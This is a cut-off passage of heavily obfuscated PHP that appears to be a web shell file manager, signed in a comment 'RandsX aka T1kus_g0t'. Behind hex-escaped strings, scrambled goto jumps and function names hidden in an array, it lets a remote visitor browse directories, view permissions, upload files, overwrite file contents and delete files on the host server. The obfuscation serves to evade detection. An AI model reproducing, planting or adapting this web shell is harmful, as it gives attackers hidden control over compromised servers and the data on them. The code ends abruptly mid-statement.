"\40\x9\x9\x3c\164\x61\142\154\x65\x20\143\x6c\x61\x73\163\75\x22\164\141\142\154\145\x20\x74\x61\142\x6c\x65\55\x68\x6f\166\145\x72\40\x74\141\142\x6c\145\55\142\157\162\144\x65\x72\x65\x64\40\164\x61\x62\x6c\145\x2d\163\155\x22\76\40\11\x9\11\x3c\164\150\x65\x61\x64\x20\143\154\141\163\163\75\x22\x74\145\x78\x74\55\x6c\x69\147\x68\x74\x22\76\x20\x9\11\11\x9\74\x74\162\76\x20\11\x9\11\11\x9\74\x74\x68\x3e\x4e\x61\155\145\x3c\x2f\x74\x68\x3e\40\11\x9\x9\11\x9\x3c\164\150\76\123\151\x7a\145\74\57\x74\150\76\40\11\x9\x9\x9\x9\74\164\x68\x3e\120\x65\162\155\151\163\163\151\x6f\156\x3c\57\164\x68\76\x20\x9\11\x9\x9\11\74\164\x68\76\101\x63\164\x69\x6f\156\74\57\x74\x68\x3e\40\x9\11\11\11\74\57\164\x72\76\40\x9\x9\x9\x3c\x2f\x74\x68\145\x61\144\76\x20\11\11\11\x3c\x74\142\x6f\x64\171\x20\143\x6c\141\163\163\x3d\42\164\145\170\164\x2d\x6c\x69\147\150\164\x22\x3e\x20\11\x9\11\11"; goto yj2VB; xQj3l: goto u8S0A; goto WkhYn; daHA1: cnBNQ: goto rkqYX; jKs74: goto w26S7; goto xFVOR; nxgqy: goto dpjnx; goto LxZsQ; r3xhe: $hnJzi = $DonJK[4]("\x2f\x28\134\134\x7c\x5c\x2f\x29\57", $BOQbZ); goto yQV5s; C4nQL: goto CbH1L; goto wcqmj; vcMBI: goto vdbQS; goto O0uTq; GwHOy: goto xsxhv; goto llcwI; UxzZR: isset($_POST["\163"]) ? $DonJK[13]($BOQbZ . "\57" . RxvHf($_GET["\156"]), $_POST["\x63\x74\156"]) ? kuIbV("\x66\x69\x6c\x65\x20\143\x6f\x6e\164\145\x6e\164\x73\x20\x63\150\x61\156\x67\x65\x64\40\x73\x75\x63\143\145\163\x73\x66\x75\x6c\154\171", 1, "\46\141\75" . BCxvE("\166\x69\x65\167") . "\46\156\75{$_GET["\x6e"]}") : Kuibv("\x66\x69\x6c\x65\40\x63\157\156\164\x65\x6e\x74\163\40\146\x61\151\x6c\x65\144\40\164\157\x20\143\150\x61\x6e\147\145") : null; goto RqNcE; dlraX: goto iRFuK; goto rBd_Q; ogHBH: goto JNGdj; goto Vs0oQ; aXWe2: qLO93: goto ttEZ0; Cg1o8: goto ya9Za; goto GVmT2; dONs0: $Sf1mu = $BOQbZ . "\57" . RXvHF($_GET["\156"]); goto p0KHI; GWUgf: goto xoEWK; goto JxD1u; NYUwk: qlvtf: goto CoCjc; lSTT3: if (!($C8PpY == "\x6e\x65\x77\104\x69\162")) { goto H9_6d; } goto H0pVY; aZsRX: goto q5zi2; goto DN0DI; Xp54c: RvSHH: goto AYDSq; RvrHx: echo "\x3c\x73\x70\x61\x6e\x20\151\144\75\47\x62\x61\156\x67\x73\x61\164\x27\40\163\164\171\x6c\x65\75\47\144\151\x73\160\154\x61\171\72\x6e\157\156\x65\73\47\x3e" . $_SERVER["\x53\x43\122\111\x50\x54\x5f\x4e\101\x4d\105"] . "\74\x2f\x73\x70\141\156\76"; goto gD7f6; ZCGmK: echo "\40\74\41\144\157\143\x74\x79\160\145\x20\x68\x74\155\x6c\76\40\74\x21\55\x2d\x20\x52\x61\x6e\144\163\130\x20\141\153\x61\40\124\61\153\165\x73\x5f\x67\x30\x74\x20\x2d\x2d\76\40\x3c\150\164\155\154\40\x6c\141\x6e\147\x3d\42\145\x6e\x22\76\40\x3c\x68\x65\141\x64\x3e\40\11\74\x6d\x65\x74\141\40\x6e\x61\x6d\x65\75\x22\164\x68\x65\155\145\55\143\x6f\154\157\x72\x22\x20\x63\157\x6e\164\145\x6e\x74\75\x22\x72\x65\x64\x22\x3e\40\11\74\155\145\x74\141\x20\x6e\x61\155\145\75\x22\x76\x69\145\x77\160\157\x72\164\x22\40\143\x6f\156\164\145\x6e\x74\75\42\167\151\144\x74\x68\x3d\x64\x65\x76\x69\x63\145\x2d\x77\151\x64\x74\150\x2c\x20\x69\156\151\x74\x69\x61\x6c\55\163\143\141\x6c\x65\75\60\56\x36\60\54\40\x73\x68\162\151\156\153\55\x74\x6f\55\146\x69\x74\x3d\x6e\157\x22\x3e\40\x9\x3c\x6c\151\156\153\x20\162\x65\x6c\x3d\42\x73\x74\171\154\x65\x73\x68\145\145\x74\42\40\x68\x72\145\146\x3d\x22\57\57\143\144\x6e\x2e\152\x73\x64\145\154\151\x76\162\56\x6e\x65\164\x2f\156\160\155\57\142\157\x6f\164\163\x74\162\x61\160\100\64\56\x36\x2e\x30\x2f\x64\151\163\x74\57\x63\x73\x73\x2f\142\157\x6f\164\x73\164\162\x61\x70\56\x6d\x69\156\x2e\x63\x73\163\42\76\x20\11\x3c\x6c\151\x6e\x6b\40\x72\x65\154\x3d\42\x73\x74\171\x6c\145\x73\150\x65\145\x74\42\x20\150\162\145\146\x3d\x22\57\x2f\143\144\156\x6a\x73\56\143\x6c\x6f\165\144\x66\154\141\162\145\x2e\143\x6f\155\x2f\141\152\141\170\x2f\x6c\151\x62\163\57\x66\157\156\x74\55\141\x77\145\x73\157\155\x65\x2f\64\x2e\67\56\x30\x2f\x63\x73\163\57\146\157\x6e\164\x2d\141\167\145\x73\157\155\145\56\155\151\156\56\x63\163\x73\42\76\40\11\x3c\164\151\x74\154\145\76"; goto iTRVu; AOnqs: goto daJfI; goto txg1J; H9Lnz: MPTLl: goto ujaaP; nCPLG: goto RVl5q; goto PEges; VSG6E: goto s09rV; goto AN4i3; PQMAA: aLTkr: goto gF8qH; BfPtf: yTCks: goto OXl_6; E28X1: goto sO04Q; goto TvZuH; Xt0UY: goto Bpx6h; goto tS0CC; dseok: goto dCko8; goto lP5Lb; Bddxu: goto ceV90; goto aOyWi; ZouIq: BWPV5: goto xdgwe; w8UNM: goto Ku1ik; goto AB2Yg; Np2C_: goto Z0dWa; goto F5Iz1; OxriJ: YE6_w: goto NumRi; tnwgQ: goto SDEyJ; goto s1YGz; rkqYX: aYd3P: goto xA0s5; SI_ni: IShcE: goto FTDhH; y_xAQ: YwCbc: goto JpZAL; DYdRD: L_FGC: goto zB0Sz; DYqIr: goto xR7SB; goto Y4_uY; QJgYA: echo "\x3c\57\163\x70\x61\x6e\x3e\x20\11\x9\x9\74\x64\x69\x76\x20\x63\154\141\x73\x73\75\42\x66\157\x72\x6d\55\147\x72\x6f\165\x70\42\76\74\x6c\141\x62\x65\x6c\40\x66\157\x72\x3d\x22\x63\x74\x6e\42\76\103\x6f\x6e\x74\145\x6e\x74\40\72\x3c\x2f\x6c\x61\x62\x65\154\76\74\164\x65\170\x74\x61\162\x65\x61\40\156\141\155\145\75\42\x63\x74\x6e\x22\x20\151\144\x3d\x22\143\164\x6e\42\40\x63\157\x6c\163\75\x22\63\60\x22\x20\x72\x6f\167\163\x3d\x22\61\60\x22\x20\143\x6c\141\163\x73\75\42\146\157\x72\x6d\x2d\x63\x6f\156\164\162\157\154\42\x20\162\x65\x61\144\157\156\154\x79\76"; goto sjSF9; yQV5s: goto kFQmS; goto RAFPu; o97XJ: qsERN: goto QJgYA; PPuzl: VMvMF: goto kpLEs; k48NH: FpgKv: goto WRQQP; B3RzG: goto AU9pF; goto WolUa; cO0A1: JFfpd: goto R8LjC; GjfZv: goto E00c6; goto KANJW; zC6fG: goto qsERN; goto zrww6; A_tXk: goto PaJPd; goto pX29g; RmT1c: if ($C8PpY == "\x64\x65\x6c\x65\164\x65") { goto qlvtf; } goto vBhNi; Ve7WS: goto JN8m_; goto ah7_E; VwRvo: goto FSfEa; goto GCvF4; d0tTZ: goto oHbmZ; goto e4uvY; ZsNeU: goto HZWT3; goto k_x9a; NZ4wp: Ypa37: goto YAno6; Goj2A: goto K58vZ; goto VJPri; CiywD: fXkNz: goto lrYat; Vup6Y: if (!isset($_GET["\160"])) { goto bwa4K; } goto GWUgf; NJHuc: VxZuX: goto F60on; ZJf1y: GVQ_Z: goto aCaAN; fyYb3: AU9pF: goto WJzFb; caiFV: goto NmNI3; goto DYqIr; kaXA9: $kdhG6 = "\x73\x63\141\156\144\x69\162"; goto l6mEQ; PCbqT: qyt8E: goto IOnsR; rBd_Q: goto hyf0n; goto M8fNE; xA0s5: goto VT3sL; goto NZ4wp; wAmn4: ymxQ8: goto zMBaT; ITwaH: function HOHLU($pJBKk) { goto rL7QR; SS02W: mnVur: goto EL8W4; SOozy: goto ODn_L; goto Y7mu5; irRsT: goto R9gyD; goto gXEgw; hikkx: goto UKUPU; goto OEqFK; QMih0: $RK3Lh = "\154"; goto na_if; U8PI8: goto E1spr; goto Mv_Wl; KQRMn: PJw7R: goto RkCH_; vrgGu: xWjbJ: goto gueXw; FqAKQ: goto mmP5o; goto vrgGu; sCBYT: $RK3Lh = "\x64"; goto K_NSk; vea0o: goto ioNmn; goto MOxXD; DHlo5: NKXYn: goto KGPjt; SwMbn: goto l7aol; goto KQRMn; JTBwF: $RK3Lh .= $BOQbZ & 0x4 ? "\x72" : "\x2d"; goto dVlUf; mRAIq: $RK3Lh .= $BOQbZ & 0x80 ? "\167" : "\x2d"; goto CT3Mb; K8jUK: goto BTjoE; goto xWiTa; VyasM: $RK3Lh .= $BOQbZ & 0x10 ? "\x77" : "\x2d"; goto TeNlX; WKfFc: mmP5o: goto mRAIq; QNUg7: goto ipLnu; goto Pt8kY; hve78: UKUPU: goto e2wZJ; sJqi1: goto XY2o7; goto WEEEW; RkCH_: BTjoE: goto yEPob; ejbfv: goto UcDG9; goto DHlo5; byXiD: goto kL2AN; goto m2jQL; TeNlX: goto UcpOg; goto V8t99; hGmjW: nx2IJ: goto fgr4A; Fmgz1: goto xWjbJ; goto I71ui; e2wZJ: goto Ay0Fe; goto YK34E; WEEEW: CIXcg: goto yv0Fa; I71ui: D_PAk: goto cZ8Ek; D6iK7: goto NKXYn; goto a1jFI; V8t99: FAVkZ: goto z7z7N; hwovs: if (!(($BOQbZ & 0x2000) == 0x2000)) { goto saSYC; } goto V7BFT; dk1Pb: BQKzc: goto TJ3vi; luqyK: $RK3Lh .= $BOQbZ & 0x40 ? $BOQbZ & 0x800 ? "\x73" : "\170" : ($BOQbZ & 0x800 ? "\123" : "\x2d"); goto irRsT; WbdjX: $RK3Lh = "\142"; goto F3d3w; XdMLt: $RK3Lh = "\x75"; goto OoYXt; jSSiQ: Ay0Fe: goto QMih0; Vu_uf: of2Ph: goto dk1Pb; SMlI5: $RK3Lh = "\160"; goto JgyJr; ZX8ju: goto aVFDt; goto vHOax; HZEVA: goto i69qx; goto GvMaR; YK34E: E1spr: goto yXJwJ; hdR46: goto of2Ph; goto SS02W; thEDC: i6S4b: goto HZEVA; TOQX2: goto PJw7R; goto XmehE; EL8W4: $RK3Lh .= $BOQbZ & 0x100 ? "\x72" : "\x2d"; goto FqAKQ; s27d9: $RK3Lh .= $BOQbZ & 0x20 ? "\162" : "\x2d"; goto lNpiB; l8S_N: goto mnVur; goto wClJV; zDoF1: TogQ3: goto sCBYT; d2JFj: ZKS2L: goto lMNZG; V7BFT: goto kzFtx; goto A2NM2; YqJuJ: goto aVFDt; goto T0x05; gueXw: $RK3Lh = "\x73"; goto QNUg7; yQ5NZ: aVFDt: goto l8S_N; nwWl5: goto xgHQJ; goto hGmjW; sTGPZ: D70Vv: goto uWtk9; OoYXt: goto ZKS2L; goto qQ42_; MOxXD: IbPFO: goto YqJuJ; uWtk9: if (!(($BOQbZ & 0xc000) == 0xc000)) { goto r4ro_; } goto byXiD; OEqFK: pDbYG: goto NFFMC; TJ3vi: goto Ffarr; goto NaS2C; geWId: pL2Mc: goto Egg3h; mCMIu: Kwync: goto oeEhk; PbXtr: return $RK3Lh; goto bgPM5; dVlUf: goto EK4OW; goto d2JFj; rL7QR: goto MWHSW; goto NUctN; sRh1N: ipLnu: goto ZX8ju; bgPM5: goto nx2IJ; goto fhlTg; ntYsT: uDC0H: goto jZ_oT; HXpov: goto IbPFO; goto xDk4B; UvaaK: goto Kwync; goto Vu_uf; SMjBg: i69qx: goto WbdjX; whxCd: goto D_PAk; goto SMjBg; GvMaR: xJKXk: goto VyasM; Lk1N5: goto aVFDt; goto TOQX2; NUctN: ioNmn: goto krKxh; WjJFN: m_i92: goto luqyK; NaS2C: ZJBie: goto SMlI5; aOE3L: goto aVFDt; goto D6iK7; h3ZH4: goto D70Vv; goto sTGPZ; XmehE: UcDG9: goto hwovs; Mv_Wl: J0WbE: goto Lk1N5; Pt8kY: UcpOg: goto BU5QZ; I_bKC: if (!(($BOQbZ & 0x1000) == 0x1000)) { goto CIXcg; } goto sJqi1; m2jQL: r4ro_: goto SwMbn; fhlTg: pJfsj: goto ysVrG; wClJV: dDFaH: goto tIfyo; T0x05: goto ifrCW; goto jSSiQ; jZ_oT: if (!(($BOQbZ & 0x4000) == 0x4000)) { goto zM2o1; } goto K8jUK; L7WmG: $RK3Lh .= $BOQbZ & 0x2 ? "\167" : "\55"; goto whxCd; lMNZG: goto aVFDt; goto UvaaK; yEPob: goto TogQ3; goto geWId; qQ42_: G4HRX: goto hve78; krKxh: if (!(($BOQbZ & 0x6000) == 0x6000)) { goto ug3YH; } goto A2o8o; sTK6o: EK4OW: goto L7WmG; cZ8Ek: $RK3Lh .= $BOQbZ & 0x1 ? $BOQbZ & 0x200 ? "\x74" : "\x78" : ($BOQbZ & 0x200 ? "\124" : "\x2d"); goto SOozy; yXJwJ: XY2o7: goto kiJu8; z7z7N: if (!(($BOQbZ & 0x8000) == 0x8000)) { goto rcX5c; } goto X3rNa; NFFMC: goto FAVkZ; goto J3AdY; a1jFI: ifrCW: goto thEDC; A2o8o: goto i6S4b; goto LlyaF; LlyaF: ug3YH: goto TwIzX; GqMoF: dVyZw: goto yQ5NZ; CT3Mb: goto m_i92; goto WjJFN; Y7mu5: i3rn2: goto I_bKC; imsaU: rcX5c: goto vea0o; tIfyo: goto aVFDt; goto U8PI8; qH1Iv: $BOQbZ = fileperms($pJBKk); goto h3ZH4; vHOax: goto G4HRX; goto hpm8Q; KGPjt: kzFtx: goto t4TmE; X3rNa: goto BQKzc; goto imsaU; F3d3w: goto J0WbE; goto sRh1N; xWiTa: zM2o1: goto ejbfv; na_if: goto pL2Mc; goto zDoF1; dcZpN: ODn_L: goto PbXtr; T7eI4: if (!(($BOQbZ & 0xa000) == 0xa000)) { goto pDbYG; } goto hikkx; lNpiB: goto xJKXk; goto sTK6o; vkZiw: Ffarr: goto AROyX; yv0Fa: goto P0mX7; goto zQHiH; JgyJr: goto dVyZw; goto dcZpN; K_NSk: goto quipT; goto WKfFc; oeEhk: kL2AN: goto Fmgz1; TwIzX: goto uDC0H; goto vkZiw; Ed_MO: l7aol: goto T7eI4; kiJu8: goto ZJBie; goto GqMoF; hpm8Q: MWHSW: goto qH1Iv; t4TmE: goto pJfsj; goto Ed_MO; gXEgw: xgHQJ: goto JTBwF; ysVrG: $RK3Lh = "\143"; goto u53o5; AROyX: $RK3Lh = "\55"; goto HXpov; OKEBo: goto i3rn2; goto ntYsT; J3AdY: R9gyD: goto s27d9; A2NM2: saSYC: goto OKEBo; Egg3h: goto aVFDt; goto hdR46; xDk4B: quipT: goto aOE3L; zQHiH: P0mX7: goto XdMLt; BU5QZ: $RK3Lh .= $BOQbZ & 0x8 ? $BOQbZ & 0x400 ? "\163" : "\x78" : ($BOQbZ & 0x400 ? "\123" : "\55"); goto nwWl5; u53o5: goto dDFaH; goto mCMIu; fgr4A: } goto lSGEX; WRQQP: goto BbFCe; goto M8wOL; FK_9P: if ($_GET["\164"] == "\x64") { goto vKb2F; } goto Goj2A; AU8Fm: qckmy: goto aVTEa; FM1sT: Slozo: goto i7nuP; C9QM_: if ($RK3Lh < count($DonJK)) { goto nTFwk; } goto QGjOd; pX29g: A3FQn: goto CBMKl; HE0qE: if (isset($_GET["\141"])) { goto VK6QD; } goto jLAA4; cwE9g: xiBl2: goto lQssr; NumRi: goto miPZd; goto NeFxh; MPjV1: goto wOb2g; goto aDHqB; TE2im: KUiBV("\146\151\x6c\x65\40\x74\x6f\x20\x64\145\154\145\x74\x65\x20\164\150\x65\40\x66\157\x6c\x64\145\x72", 0); goto rDNPZ; xl0bF: Z0dWa: goto xQj3l; z7C2q: echo "\40\x9\11\74\144\x69\166\x20\x63\154\141\163\x73\75\x22\160\x78\55\x32\x20\x70\x79\55\62\x22\x3e\x20\x9\x9\11"; goto vITvE; aEVoE: echo "\74\57\154\151\76\x20\11\11\74\x2f\x64\151\166\76\x20\11\11\74\x66\157\162\155\40\155\x65\164\x68\157\x64\75\x22\160\x6f\163\x74\42\x20\145\x6e\143\x74\x79\160\145\75\42\155\165\x6c\x74\x69\x70\x61\x72\x74\x2f\146\157\x72\155\55\x64\x61\x74\141\42\x3e\74\x64\x69\x76\x20\x63\x6c\x61\x73\163\75\42\x69\156\160\x75\164\x2d\x67\x72\157\x75\x70\40\x6d\142\x2d\61\x20\x70\x78\55\61\x20\155\164\55\x31\x22\x3e\x3c\x64\151\166\x20\x63\x6c\x61\x73\x73\75\x22\x63\165\x73\x74\x6f\155\x2d\x66\x69\154\x65\42\76\74\151\156\x70\x75\x74\x20\x74\171\x70\145\x3d\x22\x66\151\x6c\145\42\40\156\x61\155\145\75\x22\x66\133\x5d\42\40\x63\154\141\x73\163\x3d\42\x63\165\163\164\157\155\x2d\146\x69\x6c\145\55\x69\x6e\x70\165\164\x22\40\x6f\x6e\143\150\x61\x6e\147\145\x3d\x22\x74\x68\x69\x73\x2e\146\x6f\162\x6d\x2e\x73\x75\142\155\x69\164\x28\51\42\x20\x6d\x75\x6c\x74\151\160\154\x65\x3e\74\154\x61\142\x65\154\x20\x63\154\x61\x73\x73\x3d\42\x63\x75\163\164\x6f\x6d\55\146\151\x6c\x65\x2d\x6c\x61\x62\x65\x6c\x20\x72\157\x75\156\x64\145\144\x2d\60\40\142\x67\55\164\162\141\x6e\x73\x70\x61\x72\145\x6e\x74\40\164\x65\170\x74\x2d\154\x69\x67\150\164\x22\x3e\103\150\157\x6f\163\145\x20\x66\151\x6c\145\x3c\x2f\x6c\141\x62\x65\x6c\x3e\74\x2f\144\151\166\76\74\57\x64\151\166\x3e\74\x2f\x66\x6f\162\155\76\x20\x9\x9"; goto OT3O9; r_2do: goto qIJbx; goto GZ2Oy; Nkef0: C_NX5: goto D1h_m; eYpWF: unlink($Sf1mu); goto WmvJ0; I9EF_: echo "\x3c\57\163\x70\141\156\x3e\40\x3c\x62\x72\x3e\40\11\x9\x9\11\74\141\40\150\162\145\x66\x3d\42\x3f\x70\75"; goto Xt0UY; J0rXi: RvsuM: goto bboqf; A6XfO: echo "\x3c\57\164\151\164\154\145\76\x20\x9\74\163\x74\x79\x6c\x65\x3e\x2e\x74\x61\x62\154\x65\55\x68\x6f\166\x65\x72\40\x74\142\157\x64\171\x20\x74\x72\72\x68\157\x76\145\x72\40\164\144\173\x62\141\143\153\147\x72\157\x75\x6e\144\72\x72\145\x64\175\56\x74\141\x62\x6c\145\55\150\x6f\x76\145\162\40\164\142\157\x64\171\40\164\x72\x3a\x68\x6f\x76\145\162\x20\x74\x64\76\52\173\143\157\154\157\162\x3a\43\146\146\x66\x7d\x2e\164\x61\x62\154\145\76\164\x62\x6f\144\x79\76\x74\162\76\52\x7b\143\x6f\x6c\157\x72\72\x23\146\146\146\x3b\x76\145\162\164\151\x63\141\154\x2d\141\x6c\x69\x67\x6e\x3a\155\151\x64\x64\154\x65\x7d\x2e\146\x6f\x72\x6d\55\143\157\x6e\x74\162\x6f\154\x7b\142\x61\143\153\x67\162\157\x75\x6e\144\x3a\x30\x20\x30\41\x69\x6d\x70\x6f\x72\x74\141\x6e\x74\73\143\157\x6c\157\162\72\x23\x66\x66\x66\41\151\x6d\160\x6f\x72\x74\141\156\164\73\x62\157\x72\144\145\162\55\162\141\144\151\x75\x73\72\x30\x7d\56\146\x6f\162\155\55\143\x6f\156\164\x72\157\x6c\72\72\160\154\141\143\145\150\x6f\154\x64\x65\x72\x7b\143\x6f\x6c\x6f\162\72\x23\x66\x66\x66\x3b\157\160\x61\143\x69\x74\171\x3a\61\175\154\x69\x7b\146\157\156\164\55\163\151\172\x65\x3a\61\70\160\170\73\x6d\141\162\147\151\156\x2d\x6c\145\x66\x74\x3a\x36\x70\x78\x3b\x6c\151\x73\164\x2d\163\x74\171\x6c\x65\72\x6e\157\156\x65\175\141\x7b\x63\x6f\154\x6f\162\x3a\43\146\146\x66\175\x3c\57\x73\x74\x79\x6c\x65\76\40\11\74\163\x63\x72\x69\x70\x74\40\163\x72\x63\75\x22\x2f\57\165\156\160\153\147\56\x63\x6f\x6d\57\163\167\x65\x65\x74\x61\x6c\145\162\x74\57\x64\x69\163\164\x2f\163\167\x65\x65\164\x61\x6c\x65\x72\164\x2e\155\x69\x6e\x2e\152\163\42\76\74\57\x73\x63\162\x69\x70\164\x3e\x20\74\57\150\x65\141\144\76\x20\x3c\x62\x6f\144\171\40\x73\164\x79\x6c\x65\x3d\42\x62\x61\x63\x6b\x67\x72\x6f\165\156\x64\x2d\x63\157\154\157\x72\x3a\x23\x30\x30\60\x3b\143\x6f\x6c\157\162\72\x23\146\146\x66\73\146\x6f\x6e\x74\x2d\x66\x61\155\x69\154\171\72\163\x65\162\151\146\x3b\42\76\x20\x9\x3c\x64\151\x76\x20\x63\154\141\163\x73\x3d\x22\142\147\x2d\144\x61\162\x6b\40\164\x61\x62\154\x65\55\x72\x65\163\x70\x6f\156\x73\x69\x76\145\x20\164\x65\170\x74\55\x6c\x69\147\x68\x74\40\x62\157\162\144\x65\x72\42\76\40\11\11\x3c\144\x69\166\40\x63\154\x61\x73\x73\75\x22\x64\x2d\146\x6c\x65\170\40\152\x75\163\x74\x69\146\171\55\x63\x6f\x6e\164\145\x6e\x74\x2d\x62\x65\164\167\145\145\x6e\40\160\x2d\x31\x22\x3e\x20\11\x9\11\x3c\x64\151\x76\x3e\74\x68\63\40\143\154\x61\x73\x73\x3d\x22\x6d\164\55\x32\x22\x3e\x3c\x61\x20\x68\x72\x65\146\x3d\x22\x3f\x22\x3e"; goto AQ2DA; htYy3: pOy2R: goto ZGdwT; XAZ3W: lJOel: goto cGmnT; ah7_E: Qv1F8: goto aEVoE; cGG42: goto X61Jn; goto miutE; zICKC: $BOQbZ = $DonJK[2](); goto f8vVR; uOTIg: DwIws: goto i9Nd9; xtm6U: bJz4n: goto E3OA1; d5cP8: echo RXvhf($_GET["\x6e"]); goto VwRvo; wBRUO: goto McJWU; goto KxUgB; W2FpB: goto dCko8; goto VNjEg; xFVOR: fYG6v: goto MZa3D; AQ2DA: goto JFfpd; goto J0rXi; laBdL: XQ_y0: goto t_6h_; FbNdM: goto x4l_c; goto xtm6U; w4BC0: HlQ1l: goto AU8Fm; MPVlw: $ucRH5 = $_FILES["\146"]["\x6e\141\x6d\145"]; goto cGG42; JLADx: VRiyH: goto s1PeF; Zf0rh: goto urBOJ; goto gbuFt; JtKLy: echo "\40\x9\x9\x9\74\150\65\40\143\x6c\x61\x73\x73\x3d\x22\142\x6f\162\x64\x65\162\x20\160\55\61\x20\x6d\x62\x2d\63\42\x3e\126\x69\145\167\40\x66\151\x6c\x65\74\x2f\x68\65\76\x20\11\x9\11\x3c\x73\x70\141\156\76\106\151\x6c\145\x20\156\141\x6d\x65\40\x3a\40"; goto EV4fW; T4gTL: echo "\40\11\11\74\57\144\151\166\76\x20\x9\x9"; goto Goh6h; eG2eo: FSfEa: goto RNJc3; VqQzJ: goto MYPAo; goto bO2uz; RBr4f: ZuchO: goto jeEJX; lNYMj: goto qyt8E; goto eG2eo; Q1szc: w26S7: goto oCCHR; gbuFt: hdXpa: goto JtKLy; sLhvO: if (isset($_FILES["\146"])) { goto aqA5F; } goto vkxyn; jLAA4: goto y_ygK; goto p7TIZ; sPPhE: goto bmkZy; goto vt_bf; xNzFh: echo BcxVe($BOQbZ) . "\x26\141\x3d" . bcxVe("\x6e\x65\x77\x46\151\154\x65"); goto VmMwg; QsJ7n: goto hPgf8; goto dyAC1; TSB6Y: Rq1i3: goto d5cP8; x4v2e: lQAuh: goto WO8_H; HWUr5: LwN0y: goto A6XfO; rDNPZ: goto YE6_w; goto PQMAA; DN0DI: FXoRU: goto xC4iO; QtcmS: adMsW: goto BcG3n; uxR0w: k6YvO: goto F0p7U; llcwI: ow88F: goto zICKC; OPwg7: goto GCpgv; goto QtcmS; XWvEP: isset($_POST["\163"]) ? $DonJK[12]("{$BOQbZ}\57{$_POST["\156"]}") ? KUiBV("\146\157\154\x64\x65\162\40\156\141\x6d\x65\40\150\x61\163\40\x62\x65\x65\x6e\40\x75\163\x65\144", 0, "\x26\x61\x3d" . BcXVe("\156\x65\x77\104\151\x72")) : ($DonJK[15]("{$BOQbZ}\57{$_POST["\x6e"]}") ? kUibv("\x66\157\154\x64\145\162\x20\x63\162\145\x61\x74\x65\x64\40\163\165\x63\143\x65\163\163\x66\x75\x6c\154\171") : KuIbV("\146\x6f\154\144\145\162\x20\146\x61\151\x6c\145\144\40\164\157\40\x63\162\145\141\x74\145", 0)) : null; goto JnYcB; lagm8: Bpx6h: goto xNzFh; O_u1g: foreach ($hnJzi as $R9QhD => $LMxVp) { goto C8d5b; g3dSA: $RK3Lh = 0; goto v3Gr6; OVQfb: MBfrK: goto YfBC0; HyWAr: ofeRU: goto d6CZD; D7GMy: n8vYr: goto JQIuj; c8nOr: goto MBfrK; goto blsmD; JfwMy: Dl0pn: goto c8nOr; luimc: goto fIj4U; goto nyK8K; qphik: j8dJB: goto Lm27m; i5Qyk: goto befLn; goto qphik; Aj3Fq: fIj4U: goto dYmfL; N50_y: goto XAeVb; goto P14sh; jGg4N: goto fGtfl; goto Lw8gc; W1lOM: Ews0x: goto DLb00; DLb00: goto n8vYr; goto dQFIm; lyhm8: vFN8N: goto JSKB9; ubPes: goto rREaZ; goto Aj3Fq; Lm27m: if ($RK3Lh <= $R9QhD) { goto w3Keg; } goto Ueyem; xAKTr: L_kL1: goto vex17; wa9jc: echo "\x3c\x61\40\x68\162\x65\146\x3d\42\77\x70\x3d\x32\x66\42\76\176\x3c\x2f\x61\76\57"; goto GZrul; lkAkD: VSYt6: goto uH118; pMa17: w3Keg: goto UPXwq; INVWq: v54eD: goto IlcQE; fz7dz: nAwtu: goto xAKTr; dQFIm: iYh2A: goto g3dSA; BW8v2: $RK3Lh++; goto SUtYz; UPXwq: goto vFN8N; goto HyWAr; So6Vt: goto jfGA8; goto etpr4; uH118: oOso2: goto ubPes; Kqkft: IzFJl: goto hmf2W; GZrul: goto GX1Lw; goto hYMnP; xw7EI: goto IzFJl; goto fz7dz; dYmfL: XAeVb: goto nmBG_; Lw8gc: GX1Lw: goto y9HS4; z9HtX: goto UG_cl; goto WMFSq; v3Gr6: goto qT_zv; goto SSYMH; Wbhur: vTqHM: goto yerk1; erEEQ: rREaZ: goto CChe8; yerk1: echo "\42\x3e{$LMxVp}\x3c\57\x61\x3e\57"; goto luimc; SSYMH: UG_cl: goto dE2rN; hYMnP: U64Dn: goto GsM1H; P14sh: goto VSYt6; goto rurZt; Vcxg8: goto oOso2; goto kx2LZ; IlcQE: goto vTqHM; goto erEEQ; JQIuj: echo "\62\146"; goto i5Qyk; y9HS4: goto XAeVb; goto z9HtX; dE2rN: mVoG8: goto lkRw0; A7Vnp: goto NhiLl; goto W1lOM; kx2LZ: TDkrp: goto O60la; etpr4: rqYvW: goto INVWq; CChe8: echo "\x3c\x61\x20\150\x72\145\146\75\x22\x3f\160\x3d"; goto M5Fjc; UYeAp: goto LzWAJ; goto D7GMy; nyK8K: qT_zv: goto OVQfb; v7jfI: goto mVoG8; goto yCob5; SgrAU: jfGA8: goto a7S4A; WMFSq: fGtfl: goto BW8v2; a7S4A: MGKap: goto jGg4N; M5Fjc: goto iYh2A; goto lyhm8; lkRw0: goto ofeRU; goto JfwMy; JSKB9: echo bCxve($hnJzi[$RK3Lh]); goto xw7EI; O60la: goto Ln5a1; goto mGxDO; GsM1H: if ($R9QhD == 0 && $LMxVp == '') { goto nio87; } goto v7jfI; hmf2W: if ($RK3Lh != $R9QhD) { goto Ews0x; } goto A7Vnp; C8d5b: goto U64Dn; goto SgrAU; d6CZD: if ($LMxVp == '') { goto TDkrp; } goto Vcxg8; Ueyem: goto v54eD; goto pMa17; dmRcs: LzWAJ: goto wa9jc; rLfqq: NhiLl: goto So6Vt; nmBG_: goto nAwtu; goto Kqkft; mGxDO: Ln5a1: goto N50_y; SUtYz: goto Dl0pn; goto Wbhur; YfBC0: goto j8dJB; goto lkAkD; rurZt: befLn: goto rLfqq; yCob5: nio87: goto UYeAp; blsmD: goto rqYvW; goto dmRcs; vex17: } goto T0AeF; FTDhH: goto GVQ_Z; goto Xp54c; YvBkq: daJfI: goto jkgI1; WmvJ0: goto NOEd8; goto w4BC0; k_x9a: JN8m_: goto eYpWF; Q8SUW: goto m9UyE; goto fyYb3; Y4_uY: Mn1VN: goto TE2im; F5Iz1: goto IEHn0; goto oy0_2; M8wOL: dBs8Y: goto sLhvO; KPXRm: goto ntdkS; goto wJFl_; IOnsR: foreach ($kdhG6 as $jFhrT) { goto raLDY; GMJuL: Y1ywC: goto f3W0h; m3xt4: goto F8sWd; goto QskYv; CivyO: LNd3J: goto MCydh; tFAz_: pY1Y6: goto tLaXN; Ypu2I: goto FDTUy; goto onveJ; MCydh: goto Zjcp6; goto MH_7d; fFAns: echo "\40\x9\11\x9\11\11\74\164\x72\76\x20\11\11\11\x9\x9\x9\74\164\144\x3e\x3c\141\40\x68\162\x65\x66\x3d\42\77\x70\x3d" . BCxvE("{$BOQbZ}\57{$jFhrT}") . 